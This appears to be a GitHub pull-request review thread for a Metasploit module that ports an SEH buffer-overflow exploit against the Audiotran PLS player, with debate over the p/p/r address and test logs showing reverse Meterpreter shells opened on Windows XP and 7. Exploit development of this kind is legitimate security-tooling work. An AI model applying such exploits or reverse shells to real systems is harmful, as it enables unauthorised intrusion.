added audiotran_pls_1424 fileformat for Windows

[philwantsfish]

This is a port of an SEH exploit from exploit-db[1]. I modified the p/p/r address of the exploit and testing this on Windows XP. The exploit-db page has a link to the vulnerable software for testing.

[1] http://www.exploit-db.com/exploits/14961/

[wvu]

Where did you get the p/p/r from, and why did you need to change it?

[wvu]

Please comment where you got your p/p/r from. :)

[wvu]

Just looking for an explanation. :)

[philwantsfish]

It did not need to be changed and I don't mind changing this back to the
original value, if that is a preferred. I rewrote the exploit form scratch
for practice and settled on a different p/p/r from a Mona command.

On Sun, Feb 16, 2014 at 4:40 PM, wvu-r7 notifications@github.com wrote:

Where did you get the p/p/r from, and why did you need to change it?

Reply to this email directly or view it on GitHubhttps://github.com//pull/3000#issuecomment-35214696
.

[wvu]

sploit = "[playlist]\r\nFile1="

[wvu]

I understand that the line is from the original exploit, but we have no need to hide things as hex. :)

[wvu]

Ah, okay. If it's a reliable p/p/r, then that's great. Just comment where you got it from. Thanks!

[wvu]

Specifically where you got it from. So, the binary? A DLL? Which DLL? :)

[wvu]

I suppose I could figure it out myself, but I'll let you make the commit. :P Exploit looks great, btw!

[wvu]

Windows XP SP3:

msf exploit(handler) > exploit 

[*] Started reverse handler on 172.16.126.1:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 172.16.126.128
[*] Meterpreter session 1 opened (172.16.126.1:4444 -> 172.16.126.128:3751) at 2014-02-18 13:15:44 -0600

meterpreter > 

Windows 7 SP1:

msf exploit(handler) > exploit 

[*] Started reverse handler on 172.16.126.1:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 172.16.126.133
[*] Meterpreter session 2 opened (172.16.126.1:4444 -> 172.16.126.133:49158) at 2014-02-18 13:19:55 -0600

meterpreter > 

[philwantsfish]

Awesome, thank you for verifying! I should have posted output from the testing I did as well.

Let me know if there is anything else I need to do to get this merged in.

[wvu]

Thanks for being on top of this, @Fillfish. :)

[todb-r7]

This is missing references and disclosure date.